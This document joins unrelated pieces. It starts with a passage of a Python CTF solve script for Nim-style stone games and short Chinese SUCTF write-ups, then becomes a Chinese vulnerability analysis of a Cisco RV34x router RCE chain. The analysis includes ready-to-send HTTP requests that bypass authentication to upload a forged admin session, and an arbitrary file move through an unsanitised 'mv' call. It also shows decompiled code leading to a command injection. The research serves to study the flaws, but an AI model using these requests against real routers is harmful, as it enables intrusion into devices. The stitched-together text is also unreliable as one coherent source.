p.recvuntil('== ')
h = p.recvline().strip()
print key, h
s = proof(key, h)
print s
p.sendline(s)
p.recvuntil('Let's pick stones!')
for i in xrange(20):
p.recvuntil('===========================================================================')
p.recvuntil('There are ')
n = int(p.recvuntil('stones')[:-6])
p.recvuntil(' - ')
x = int(p.recvuntil('once')[:-4])
print n, x
if (n % (x + 1) == 0):
p.sendline('GG')
continue
else:
p.sendline(str(n % (x + 1)))
n -= n % (x + 1)
while(n > 0):
p.recvuntil('I pick ')
g = int(p.recvuntil('!')[:-1])
p.sendline(str(x + 1 - g))
n -= x + 1
print "level 1 pass"
p.recvuntil('You have 8 chances to input 'GG' to skip this round.')
for i in xrange(20):
p.recvuntil('===========================================================================')
a = 99999
b = 99999
while (a != 0 and b != 0):
p.recvuntil('Piles: ')
g = p.recvline().strip().split(' ')
a, b = int(g[0]), int(g[1])
print a, b
if (a == 0):
p.sendline("%d 1" % b)
break
if (b == 0):
p.sendline("%d 0" % a)
break
if (a == b):
p.sendline("%d 2" % a)
break
z = abs(a - b)
x = min(a, b)
y = max(a, b)
maxd = int(z * (1 + math.sqrt(5)) / 2)
if (maxd < x):
l = [x - maxd, 2]
elif (maxd > x):
t = 1
while True:
g = int(t * (1 + math.sqrt(5)) / 2)
if (g in (a, b) or (g + t) in (a, b)):
break
t = t + 1
if (g == a and g + t == b):
p.sendline('GG')
print "GG"
break
if (g == a):
l = [b - (g + t), 1]
if (g == b):
l = [a - (g + t), 0]
if (g + t == a):
l = [b - g, 1]
if (g + t == b):
l = [a - g, 0]
else:
p.sendline('GG')
print "GG"
break
if (l[1] == 0 or l[1] == 2):
a -= l[0]
if (l[1] == 1 or l[1] == 2):
b -= l[0]
p.sendline("%d %d" % (l[0], l[1]))
print "level2 pass"
def xxor(l):
r = 0
for i in l:
r ^= i
return r
p.recvuntil('Last one is winner. You have 5 chances to skip.')
for i in xrange(20):
print p.recvuntil('===========================================================================')
r = [99999] * 5
while (sum(r) != 0):
p.recvuntil('Piles: ')
r = p.recvline()
#print r
r = map(int, r.strip().split(' '))
print r
xor = 0
for j in xrange(5):
xor ^= r[j]
if (xor == 0):
p.sendline('GG')
print "GG"
break
else:
for mx in xrange(5):
for d in xrange(r[mx] + 1):
l = list(r)
l[mx] -= d
if (xxor(l) == 0):
q = [d, mx]
break
p.sendline("%d %d" % (q[0], q[1]))
r[q[1]] -= q[0]
print "level3 pass"
p.interactive()
// 电脑的策略和这个策略是一样的（也没其他策略啊
打下来得到鬼畜的Flag`SUCTF{gGGGGggGgGggGGggGGGggGgGgggGGGGGggggggGgGggggGg}`
### Padding的秘密
#### step 1
下载附件，修改`secret`后缀为`zip`，发现有`.git`。
老招数了，通过`git`回溯版本可以拿到源码`SUcrypto.py`和`key.jpg`
#### step 2
分析源码（后为hint1）可知，为`one-time-pad`(一次性密码本加密)相关漏洞。
一次性密码本多次使用后将存在泄露风险。
即我们可以通过词频分析（工具请自行上gayhub搜索），获得脚本中的密钥key，和所有的tips（nc上的2选项templates）
此处省略漫长的分析过程。。。。。。
#### step 3
获得了密钥`key：“FL4G is
SUCTF{This_is_the_fake_f14g},guys”`后，通过nc提交得到新的hint：“嘤嘤嘤，flag不在这里，人家说secret里有、东西”
> 这里有大师傅在做题过程中提示会有非预期解，是本人的疏忽，深表歉意
回到`secret`压缩包里有`winrar`注释，一大长串的padding串。转ascii后发现有`09`、`20`、`0D0A`三种字符。结合新hint：有“.”东西，可想到带‘.’的加解密中，最容易想到的摩斯电码。
09 -> .
20 -> - 0D0A -> 空格
摩斯电码解密 再hex一下会得到缺了一部分的`flag`。
结合`key.jpg`即可获得`flag`。
### 签到
base32编码，直接解码得到Flag | 社区文章 |
**作者：f-undefined团队 f0cus7
原文链接：<https://mp.weixin.qq.com/s/sxj7Yn9m2JolLkuP1BGc5Q>**
去年一整年Cisco RV34x系列曝出了一系列漏洞，在经历了多次修补之后，在年底的[Pwn2Own Austin
2021](https://www.thezdi.com/blog/2021/8/11/pwn2own-austin-2021-phones-printers-nas-and-more)上该系列路由器仍然被[IoT Inspector Research Lab](https://www.iot-inspector.com/about-us/)攻破了，具体来说是三个逻辑漏洞结合实现了`RCE`，本文将基于该团队发布的[wp](https://www.iot-inspector.com/blog/advisory-cisco-rv340-dual-wan-gigabit-vpn-router-rce-over-lan/)进行复现分析。
## 漏洞简介
漏洞公告信息如下，影响的版本是`1.0.03.24`之前，受影响的产品除了`RV34x`之外，还包括`RV160`、`RV160W`、`RV260`以及`RV260W`系列。
Affected vendor & product
Vendor Advisory
Cisco RV340 Dual WAN Gigabit VPN Router (https://www.cisco.com/)
https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-smb-mult-vuln-KA9PK6D.html
Vulnerable version 1.0.03.24 and earlier
Fixed version 1.0.03.26
CVE IDs CVE-2022-20705
CVE-2022-20708
CVE-2022-20709
CVE-2022-20711
Impact 10 (critical) AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Credit Q. Kaiser, IoT Inspector Research Lab
无条件`RCE`的实现是由三个漏洞一起构成的，包括：
* 任意文件上传漏洞；
* 任意文件移动漏洞；
* 认证后的命令注入漏洞。
通过前两个漏洞实现了有效`session`的伪造，利用伪造的`session`具备了访问认证后页面的能力，后续再利用认证后命令注入漏洞实现`rce`。
## 漏洞分析
此次的分析是基于固件版本[1.0.03.24](https://software.cisco.com/download/home/286287791/type/282465789/release/1.0.03.24)进行的，下载固件使用`binwalk`进行解压，刷新到路由器当中以方便后续动态调试验证。
此次漏洞分析的基础有两个，一个是要能看懂`nginx+uwsgi`架构组成的`web`框架配置，尤其是`nginx`配置文件的了解；一个是要能知道`cisco
ConfD+yang`实现的后端数据中心服务。前者可以通过搜索`nginx+uwsgi
配置`实现，特别是需要`nginx`上传模块的配置，可参考[Nginx-upload-module中文文档](https://blog.osf.cn/2020/06/30/nginx-upload-module/)；后者资料不多，需要啃官方文档，可以先了解`netconf+yang`的网络管理模型，然后再查看官方文档[ConfD User
Guide](https://manuals.plus/wp-content/sideloads/software-tail-f-confd-user-guide-original.pdf)来掌握。
### 任意文件上传漏洞
认证前任意文件上传漏洞以及任意文件移动漏洞认证前的功能都是因为`nginx`的不正确配置所导致的，先来看任意文件上传漏洞。
`nginx`的主配置文件是`/etc/nginx/nginx.conf`，从它的内容当中可以看到对应的用户权限是`www-data`，
# /etc/nginx/nginx.conf
user www-data;
worker_processes 4;
error_log /dev/null;
events {
worker_connections 1024;
}
http {
access_log off;
#error_log /var/log/nginx/error.log error;
upstream jsonrpc {
server 127.0.0.1:9000;
}
upstream rest {
server 127.0.0.1:8008;
}
# For websocket proxy server
include /var/nginx/conf.d/proxy.websocket.conf;
include /var/nginx/sites-enabled/*;
}
加载的配置是`/var/nginx/conf.d/proxy.websocket.conf`以及`/var/nginx/sites-enabled/*`。
/usr/bin # ls /var/nginx/sites-enabled/
web-rest-lan web-wan
可以在`/etc/nginx/sites-available/web-rest-lan`中看到它加载了`lan.rest.conf`以及`web.upload.conf`这两个配置文件。
# /etc/nginx/sites-available/web-rest-lan
...
server {
server_name localhost:443;
#mapping to Firewall->Basic Settings->LAN/VPN Web Management, it will generate by ucicfg
...
include /var/nginx/conf.d/lan.rest.conf;
...
include /var/nginx/conf.d/web.upload.conf;
...
}
`nginx`的所有模块的配置都存储在`/etc/nginx/conf.d`当中，其中与`lan.rest.conf`对应的是`rest.url.conf`，其内容如下：
# /etc/nginx/conf.d/rest.url.conf: 13
location /api/operations/ciscosb-file:form-file-upload {
set $deny 1;
if ($http_authorization != "") {
set $deny "0";
}
if ($deny = "1") {
return 403;
}
upload_pass /form-file-upload;
upload_store /tmp/upload;
upload_store_access user:rw group:rw all:rw;
upload_set_form_field $upload_field_name.name "$upload_file_name";
upload_set_form_field $upload_field_name.content_type "$upload_content_type";
upload_set_form_field $upload_field_name.path "$upload_tmp_path";
upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
upload_pass_form_field "^.*$";
upload_cleanup 400 404 499 500-505;
upload_resumable on;
}
结合`proxy.conf`内容可以看到，当请求头中的`Authorization`不为空的时候，此时`$deny`会被设置为`0`，并调用`upload`模块，存储的路径是`/tmp/upload`。因为`upload_store`没有配置`level`，所以`nginx`会默认将上传的数据按`/tmp/upload/0000000001`数字命名的方式顺序存储。
# etc/nginx/conf.d/proxy.conf，
proxy_http_version 1.1;
proxy_set_header Host $http_host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header Authorization $http_authorization;
proxy_set_header Accept-Encoding "";
proxy_set_header Connection "";
proxy_ssl_session_reuse off;
server_name_in_redirect off;
从上面的配置可以看出，在调用`/form-file-upload`之前，`nginx`已经将用户上传的数据存储到了`/tmp/upload`当中，同时存储的名字又是可以预测的，后续它还会调用`upload_set_form_field`等方法将表单中的字段进行替换，并最终调用`/form-file-upload`。
在这里调不调用`/form-file-upload`我们并不关心，因为在`/form-file-upload`之前我们已经可以实现任意文件上传的功能了。具体来说是先通过在`HTTP`请求包中加入一个`Authorization`头，这样绕过了认证触发了上传模块；而后我们上传的数据就会被存储到`/tmp/upload`当中，同时名字也可以可以遍历得到。
利用该漏洞最终实现的效果就是可以无条件的在`/tmp/upload`目录当中上传任意文件，其文件名类似为`/tmp/upload/0000000001`，数字由上传文件的序列决定，可以通过遍历实现。
发送请求包如下所示：
POST /api/operations/ciscosb-file:form-file-upload HTTP/1.1
Host: 192.168.1.1
Authorization: 123=456
Cookie: selected_language=English; session_timeout=false; sessionid=2727f44696347c5e1218c78a2471f1c48ab9e6f4a9c3b3b6ab1db9a1365fd620; user=cisco; blinking=1; config-modified=1; disable-startup=0; redirect-admin=0; group=admin; attributes=RW; ru=0; bootfail=0; model_info=RV345; fwver=1.0.03.24; current-page=Admin_Config_Management
Content-Length: 854
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="98", "Google Chrome";v="98"
Accept: application/json, text/plain, */*
Optional-Header: header-value
Sec-Ch-Ua-Mobile: ?0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBtdH1UtBT6GPZrcM
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Origin: https://192.168.1.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.1/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="sessionid"
2727f44696347c5e1218c78a
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="pathparam"
a
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="file.path"
a
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="fileparam"
a
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="websession"; filename="a.xml"
Content-Type: text/xml
{
"max-count":1,
"cisco":{
"4a04cd411434cea78f2d81b692dfa4a41aea9e4b15536fb933fab11df8ed414a":{
"user":"cisco",
"group":"admin",
"time":315156,
"access":1,
"timeout":9999,
"leasetime":15275860
}
}
}
------WebKitFormBoundaryBtdH1UtBT6GPZrcM--
### 任意文件移动漏洞
第二个漏洞存是任意文件移动漏洞，可以实现任意文件移动。漏洞的原理是`nginx`未做权限限制同时后端也没有对权限进行认证，导致权限绕过；后端在实现过程中没有对输入校验导致任意文件移动。
下面来对该漏洞进行详细的分析。
先是权限绕过漏洞分析，`/etc/nginx/conf.d/web.upload.conf`内容如下，可以看到`nginx`对`/upload`请求进行了`session`的验证（权限的判定），但它却没有对`/form-file-upload`请求进行权限校验，用户可以不需要任何权限直接请求`/form-file-upload`。
# /etc/nginx/conf.d/web.upload.conf
location /form-file-upload {
include uwsgi_params;
proxy_buffering off;
uwsgi_modifier1 9;
uwsgi_pass 127.0.0.1:9003;
uwsgi_read_timeout 3600;
uwsgi_send_timeout 3600;
}
location /upload {
set $deny 1;
if (-f /tmp/websession/token/$cookie_sessionid) {
set $deny "0";
}
if ($deny = "1") {
return 403;
}
upload_pass /form-file-upload;
upload_store /tmp/upload;
upload_store_access user:rw group:rw all:rw;
upload_set_form_field $upload_field_name.name "$upload_file_name";
upload_set_form_field $upload_field_name.content_type "$upload_content_type";
upload_set_form_field $upload_field_name.path "$upload_tmp_path";
upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
upload_pass_form_field "^.*$";
upload_cleanup 400 404 499 500-505;
upload_resumable on;
}
去看`/form-file-upload`的后端处理程序，前面说过后端是使用`uwsgi`实现的，其服务启动的命令如下：
# usr/bin/uwsgi-launcher: 5
#!/bin/sh /etc/rc.common
start() {
uwsgi -m --ini /etc/uwsgi/jsonrpc.ini &
uwsgi -m --ini /etc/uwsgi/blockpage.ini &
uwsgi -m --ini /etc/uwsgi/upload.ini &
}
可以看到`/form-file-upload`对应的`uwsgi_pass`目的地是`127.0.0.1:9003`。对应的是`uwsgi`启动的服务，配置文件的路径是`/etc/uswgi/upload.ini`，从该文件的内容中可以看到，对应的后端处理程序是`/www/cgi-bin/upload.cgi`。
# /etc/uswgi/upload.ini
[uwsgi]
plugins = cgi
workers = 1
master = 1
uid = www-data
gid = www-data
socket=127.0.0.1:9003
buffer-size=4096
cgi = /www/cgi-bin/upload.cgi
cgi-allowed-ext = .cgi
cgi-allowed-ext = .pl
cgi-timeout = 300
ignore-sigpipe = true
从上面的描述中我们可以知道现在具备的能力是无条件访问`/www/cgi-bin/upload.cgi`的能力，下面逆向`/www/cgi-bin/upload.cgi`，来看是如何实现任意文件移动的。
将`upload.cgi`拖入到IDA当中，可以看到它先在环境变量中获取数据，然后调用[multipart-parser-c](https://github.com/iafonov/multipart-parser-c)库来解析上传的数据包，解析完成后调用`prepare_file`来预处理上传的文件。
int __fastcall main(int a1, char **a2, char **a3)
{
...
content_length_ptr = (int)getenv("CONTENT_LENGTH");
content_type_ptr = getenv("CONTENT_TYPE");
request_uri_ptr = getenv("REQUEST_URI");
http_cookie_ptr = getenv("HTTP_COOKIE");
...
callbacks.on_header_value = read_header_name;
callbacks.on_part_data = read_header_value;
json_obj = json_object_new_object();
...
parser = multipart_parser_init(boundary_ptr, &callbacks);
length = strlen(content_buf_ptr);
multipart_parser_execute(parser, content_buf_ptr, length);
multipart_parser_free(parser);
jsonutil_get_string(json_obj, &filepath_ptr, "\"file.path\"", -1);
jsonutil_get_string(json_obj, &filename_ptr, "\"filename\"", -1);
jsonutil_get_string(json_obj, &pathparam_ptr, "\"pathparam\"", -1);
jsonutil_get_string(json_obj, &fileparam_ptr, "\"fileparam\"", -1);
jsonutil_get_string(json_obj, &destination_ptr, "\"destination\"", -1);
jsonutil_get_string(json_obj, &option_ptr, "\"option\"", -1);
jsonutil_get_string(json_obj, &cert_name_ptr, "\"cert_name\"", -1);
jsonutil_get_string(json_obj, &cert_type_ptr, "\"cert_type\"", -1);
jsonutil_get_string(json_obj, &password_ptr, "\"password\"", -1);
...
local_fileparam_ptr = StrBufToStr(local_fileparam_buf);
ret_code = prepare_file(pathparam_ptr, filepath_ptr, local_fileparam_ptr);
跟进去`prepare_file`函数，可以看到该函数会进行文件移动操作，参数`file.path`当作源文件路径，根据`pathparam`的类型设置目的文件夹并与`fileparam`当做目的文件名进行拼接最终作为目的路径。实现的方式是调用`system`，参数是`"mv
-f %s
%s/%s"`，可以看到目的文件名进行了参数的校验，源文件只判断了文件是否存在，因此这个地方该参数使得我们可以移动任意的文件，当类型我们设置为`Portal`的时候，目的文件夹是
类型是`Portal`的时候，会把目的文件夹设置为`/tmp/www`，因为我们最终可以实现的效果是可以将任意文件移动到`/tmp/www`目录文件夹下。
int __fastcall prepare_file(const char *type, const char *src, const char *dst)
{
...
if ( !strcmp(type, "Firmware") )
{
target_dir = "/tmp/firmware";
}
...
else
{
if ( strcmp(type, "Portal") )
return -1;
target_dir = "/tmp/www";
}
if ( !is_file_exist(src) )
return -2;
if ( strlen(src) > 0x80 || strlen(dst) > 0x80 )
return -3;
if ( match_regex("^[a-zA-Z0-9_.-]*$", dst) )
return -4;
sprintf(s, "mv -f %s %s/%s", src, target_dir, dst);
debug("cmd=%s", s);
...
ret_code = system(s);
利用该漏洞最直接的效果就是可以将一些敏感文件移动到`/tmp/www`目录下然后访问该路径，实现敏感信息泄露，更深层次的利用在后续分析中说明。
下面的请求包可以实现将`/tmp/upload/0000000001`移动到`/tmp/www/bak`
POST /form-file-upload HTTP/1.1
Host: 192.168.1.1
Cookie: selected_language=English; session_timeout=false; sessionid=2727f44696347c5e1218c78a2471f1c48ab9e6f4a9c3b3b6ab1db9a1365fd620; user=cisco; blinking=1; config-modified=1; disable-startup=0; redirect-admin=0; group=admin; attributes=RW; ru=0; bootfail=0; model_info=RV345; fwver=1.0.03.24; current-page=Admin_Config_Management
Content-Length: 626
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="98", "Google Chrome";v="98"
Accept: application/json, text/plain, */*
Optional-Header: header-value
Sec-Ch-Ua-Mobile: ?0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBtdH1UtBT6GPZrcM
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Origin: https://192.168.1.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.1/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="sessionid"
2727f44696347c5e1218c78a
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="pathparam"
Portal
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="file.path"
/tmp/upload/0000000001
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="fileparam"
bak
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="websession"; filename="a.xml"
Content-Type: text/xml
{
}
------WebKitFormBoundaryBtdH1UtBT6GPZrcM--
### 认证后命令执行漏洞
最后是一个认证后命令执行漏洞，漏洞存在于`/usr/bin/update-clients`中。
可以看到在`update-clients`中，参数`$name`可以实现注入。
#!/usr/bin/perl
my $total = $#ARGV + 1;
my $counter = 1;
#$mac = "FF:FF:FF:FF:FF:FF";
#$name = "TestPC";
#$type = "Computer";
#$os = "Windows";
foreach my $a(@ARGV)
{
if (($counter%12) == 0)
{
system("lcstat dev set $mac \"$name\" \"$type\" \"$os\" > /dev/null");
}
elsif (($counter%12) == 4)
{
$mac = $a
}
elsif (($counter%12) == 6)
{
$name = $a
}
elsif (($counter%12) == 8)
{
$type = $a
}
elsif (($counter%12) == 10)
{
$os = $a
}
$counter++;
}
这里要搞清楚的是`http`请求包是怎么跑到`/usr/bin/update-clients`去执行的。
`RV34x`系列采用的是`ConfD`的架构来进行网络管理的，ConfD是[tail-f](https://www.tail-f.com/)推出的配置管理开发框架，提供多种工具，针对多种标准，其中也包括了对NETCONF/YANG的支持。Tail-f已经被思科收购，所以ConfD应该说是思科的ConfD了。根据官方手册[ConfD User
Guide](https://manuals.plus/wp-content/sideloads/software-tail-f-confd-user-guide-original.pdf)，它的架构如下。基础知识前面已经说过，可以去了解`netconf+yang`模型的网络管理。
`CDB`是内置的数据库，由`xml`表示，被`ConfD`解析后提供多个接口以实现多客户端的访问。对于`RV34x`系列来说，配置文件的路径是`/etc/confd/cdb/`，该目录下的`xml`便是配置的数据。比较关注的是`config_init.xml`，该配置文件里面存储了包含用户密码等信息在内的数据。
接口模型使用`yang`定义，`yang`是一种数据建模语言，下面给出部分关键字的解释，当然也可以从[ConfD User
Guide](https://manuals.plus/wp-content/sideloads/software-tail-f-confd-user-guide-original.pdf)中去了解更多的信息：
* `module`定义了一种分层的配置树结构。它可以使能`NETCONF`的所有功能，如配置操作(`operation`)，`RPC`和异步通知(`notification`)。开发者可根据配置数据的语义来定义不同的`module`。
* `namespace`用于唯一的标识`module`，等同于`xml`文件中的`namespace`。
* `container`节点把相关的子节点组织在一起。
* `list`节点可以有多个实例，每个实例都有一个`key`唯一标识。
* `leaf`是叶子节点，具有数据类型和值，如叶子结点`name`的数据类型(`type`)是`string`，它唯一的表示`list`节点`interface`。
下面我们看下关于漏洞点的`rpc`调用的`yang`的定义：
// /etc/confd/yang/ciscosb-avc.yang: 197
rpc update-clients {
input {
list clients {
key mac;
leaf mac {
type yang:mac-address;
mandatory true;
}
leaf hostname {
type string;
}
leaf device-type {
type string;
}
leaf os-type {
type string;
}
}
}
}
augment "/ciscosb-ipgroup:ip-groups/ciscosb-ipgroup:ip-group/ciscosb-ipgroup:ips" {
uses ciscosb-security-common:DEVICE-OS-TYPE;
}
augment "/ciscosb-ipgroup:ip-groups/ciscosb-ipgroup:ip-group/ciscosb-ipgroup:macs" {
uses ciscosb-security-common:DEVICE-OS-TYPE;
}
可以看到上面定义了类似于下面的`json`数据请求包，`hostname`、`device-type`以及`os-type`都是`leaf`结点，类型（`type`）也是字符串（`string`）。
POST /jsonrpc HTTP/1.1
Host: 127.0.0.1:8080
Accept: application/json, text/plain, */*
Content-Length: 350
Connection: close
Cookie: selected_language=English; user=cisco; blinking=1; config-modified=1; disable-startup=0; redirect-admin=0; group=admin; attributes=RW; ru=0; bootfail=0; model_info=RV345; fwver=1.0.03.24; session_timeout=false; sessionid=138b633ddd844b81a8ea48a149819f645fbe31fb64a1bd7cc0072f3d14420da0; current-page=WAN_Settings
{
"jsonrpc":"2.0",
"method":"action",
"params":{
"rpc":"update-clients",
"input":{
"clients": [
{
"hostname": "rv34x",
"mac": "64:d1:a3:4f:be:e1",
"device-type": "client",
"os-type": "windows"
}
]
}
}
}
`yang`数据接口的定义在路径`/etc/confd/yang`目录下，它被`confdc`编译成`.fxs`文件输出到了`/etc/confd/fxs`当中，后续这些`.fxs`文件被`confd`解析使用。
现在基本搞清楚了漏洞触发的原因，现在从细节实现上来看请求的数据包是如何触发`rpc`请求的。
`nginx`的配置文件中定义了`/jsonrpc`的请求路径，可以看到它处理的`uwsgi_pass`是`jsonrpc`
# /etc/nginx/conf.d/web.conf: 18
location = /jsonrpc {
include uwsgi_params;
proxy_buffering off;
uwsgi_modifier1 9;
uwsgi_pass jsonrpc;
uwsgi_read_timeout 3600;
uwsgi_send_timeout 3600;
}
在`uwsgi`的定义中找到`jsonrpc`的定义，可以看到它对应的处理程序是`/www/cgi-bin/jsonrpc.cgi`：
[uwsgi]
plugins = cgi
workers = 4
master = 1
uid = www-data
gid = www-data
socket=127.0.0.1:9000
buffer-size=4096
cgi = /jsonrpc=/www/cgi-bin/jsonrpc.cgi
cgi-allowed-ext = .cgi
cgi-allowed-ext = .pl
cgi-timeout = 3600
ignore-sigpipe = true
跟进去`jsonrpc.cgi`，来看上面的数据包所引发的数据流是怎么传输到`ConfD`的。
把`jsonrpc.cgi`拖到IDA里面，可以看到它会先获取环境变量，然后读取`post`数据，然后调用`parse_json_content`函数去解析`post`过去的`json`数据，最后调用`handle_rpc`去处理。
int __fastcall main(int a1, char **a2, char **a3)
{
content_length_ptr = (int)getenv("CONTENT_LENGTH");
content_type_ptr = getenv("CONTENT_TYPE");
http_cookie_ptr = getenv("HTTP_COOKIE");
...
if ( content_length_ptr )
content_length_ptr = atoi((const char *)content_length_ptr);
content_ptr = malloc(content_length_ptr + 1);
content_ptr[fread(content_ptr, 1u, content_length_ptr, stdin)] = 0;
malloc_ctx(&json_ctx);
parse_json_content(json_ctx, content_ptr);
...
handle_rpc(json_ctx, &ret_str);
}
跟进去`handle_rpc`函数，看到它除了输出些日志以外，调用了`post_rpc_request`。
void __fastcall handle_rpc(ctx *json_ctx, char **ret_str)
{
...
debug("[%d|%s] - begin.", pid, method);
...
ret = post_rpc_request(json_ctx, (char *)&ptr);
...
info("[%d|%s] - end. elapsed=%lu.%06lu", pid, method, time.tv_sec, time.tv_usec);
}
}
`post_rpc_request`是主要的流程分发函数，可以看到用户相关的请求是直接调用`handle_user_rpc_request`函数，而其余的则都会调用`check_login_status`函数对`session`进行校验，然后根据`json`请求当中的不同的`method`调用不同的处理函数。对于漏洞请求的`update-clients`，处理的函数是`handle_action_rpc_request`。
int __fastcall post_rpc_request(ctx *json_ctx, char *ret_str)
{
char *method; // r4
int ret; // r0 MAPDST
method = json_ctx->method;
if ( !method )
return 0;
if ( !strcmp(json_ctx->method, "login")
|| !strcmp(method, "logout")
|| !strcmp(method, "u2d_check_password")
|| !strcmp(method, "u2d_change_password")
|| !strcmp(method, "change_password")
|| !strcmp(method, "add_users")
|| !strcmp(method, "set_users")
|| !strcmp(method, "del_users") )
{
return handle_user_rpc_request(json_ctx, ret_str);
}
if ( !strcmp(method, "get_downloadstatus")
|| !strcmp(method, "get_wifi_button_state")
|| !strcmp(method, "check_config")
|| !strcmp(method, "get_model_tree")
|| !strcmp(method, "get_timezones") )
{
if ( check_login_status(json_ctx, 1, 2) )
return 0;
ret = handle_status_rpc_request((int)json_ctx, ret_str);
}
else if ( !strncmp(method, "get_", 4u) || !strncmp(method, "u2d_get_", 8u) )
{
if ( check_login_status(json_ctx, 1, 2) )
return 0;
ret = handle_get_rpc_request(json_ctx, ret_str);
}
else if ( !strcmp(method, "set_bulk") )
{
if ( check_login_status(json_ctx, 2, 2) )
return 0;
ret = handle_set_bulk_rpc_request(json_ctx, ret_str);
}
else if ( !strncmp(method, "set_", 4u) || !strncmp(method, "del_", 4u) || !strncmp(method, "u2d_set_", 8u) )
{
if ( check_login_status(json_ctx, 2, 2) )
return 0;
ret = handle_set_del_rpc_request(json_ctx, (int *)ret_str, 1);
}
else
{
if ( strncmp(method, "action", 6u) && strncmp(method, "u2d_rpc_", 8u) )
{
error("ERROR METHOD CASE !!!");
return 0;
}
if ( check_login_status(json_ctx, 1, 2) )
return 0;
ret = handle_action_rpc_request(json_ctx, ret_str);
}
session_close();
return ret;
}
跟进去`handle_action_rpc_request`函数，它会调用`jsonrpc_action_table_by_method`函数，根据`rpc`的内容（样例中是`update-clients`）返回对应的处理函数。在获取`input`对象后，将处理函数`p_action`对象以及`input`参数值，作为参数调用`jsonrpc_action_config`去执行`rpc`调用。
int __fastcall handle_action_rpc_request(ctx *ctx, _DWORD *ret_str)
{
...
method = ctx->method;
params = ctx->params;
...
else if ( !strcmp(method, "action") && json_object_object_get_ex(params, "rpc", &rpc_json_obj) )
{
p_action = &action;
...
rpc_str = json_object_get_string(rpc_json_obj);
...
if ( !jsonrpc_action_table_by_method(&action, rpc_str) )
p_action = 0;
...
if ( json_object_object_get_ex(params, "input", &input_param) )
params = input_param;
if ( p_action )
{
ret = jsonrpc_action_config((int)p_action, params, (int)&v17);
先跟进去`jsonrpc_action_table_by_method`函数看它是怎么获取处理函数的。函数的定义在`libjsess.so`当中，可以看到它主要是遍历`action`数组，通过`rpc_str`的值来确定具体是哪个`action`来处理`rpc`调用。
int __fastcall jsonrpc_action_table_by_method(action *ret_action, char *rpc_str)
{
...
action_table = &json_action_table_ptr;
action = *action_table;
memset(ret_action, 0, sizeof(action));
while ( 1 )
{
if ( !action->name )
return 0;
if ( !strcmp(rpc_str, action->name) )
break;
if ( !++action )
return 0;
}
p_post_handler = &action->post_handler;
do
{
...
// 拷贝找到的action到ret_action当中
}
while ( !v10 );
return 1;
}
`action`结构体定以及`update-clients`对应的`action`的定义如下，可以确定对应的处理函数是`action__maapi`。
00000000 action struc ; (sizeof=0x14, mappedto_55)
00000000 name DCD ? ; offset
00000004 field_4 DCD ?
00000008 pre_handler DCD ? ; offset
0000000C handler DCD ? ; offset
00000010 post_handler DCD ? ; offset
00000014 action ends
.data:00043BD0 DCD aUpdateClients ; "update-clients"
.data:00043BD4 DCD 0
.data:00043BD8 DCD 0
.data:00043BDC DCD action__maapi
.data:00043BE0 DCD 0
找到对应的函数后，处理函数会调用`jsonrpc_action_config`去处理`rpc`请求。跟进去该函数，它会调用上面获取的`action`对象中的函数，对于`update-clients`，则会调用`action__maapi`。
int jsonrpc_action_config(action *action, int param_obj, _DWORD *a3))(int, int *)
{
...
if ( v7 )
v7 = json_tokener_parse();
func = (int)action->pre_handler;
if ( func )
func = func(v6, &v16);
...
pid = getppid();
info("[%d|action|%s] - pre-handler %d.", pid, action->name, func);
handler = action->handler;
if ( handler )
func = handler(v16, v9, &v17);
...
post_handler = action->post_handler;
if ( post_handler )
func = post_handler(v17, a3);
...
}
跟进去`action__maapi`函数，看到它调用了`jsess_action`，经过跟踪，确定它最终调用的是`mctx_rpc`函数。
int __fastcall action__maapi(int a1, int a2, int *a3)
{
...
result = jsess_action(g_h_sess_db);
...
}
.data:00044248 jmaapi_api DCD jmaapi_open ; DATA XREF: LOAD:00000D6C↑o
.data:00044248 ; jsess_set_type:loc_7F48↑o ...
.data:0004424C DCD jmaapi_apply
.data:00044250 DCD jmaapi_close
.data:00044254 DCD jmaapi_init
.data:00044258 DCD jmaapi_get
.data:0004425C DCD jmaapi_set
.data:00044260 DCD jmaapi_del
.data:00044264 DCD jmaapi_action
int __fastcall jmaapi_action(int a1, int a2, int a3, int a4, int a5)
{
...
return mctx_rpc(s, a3, a4, a5);
}
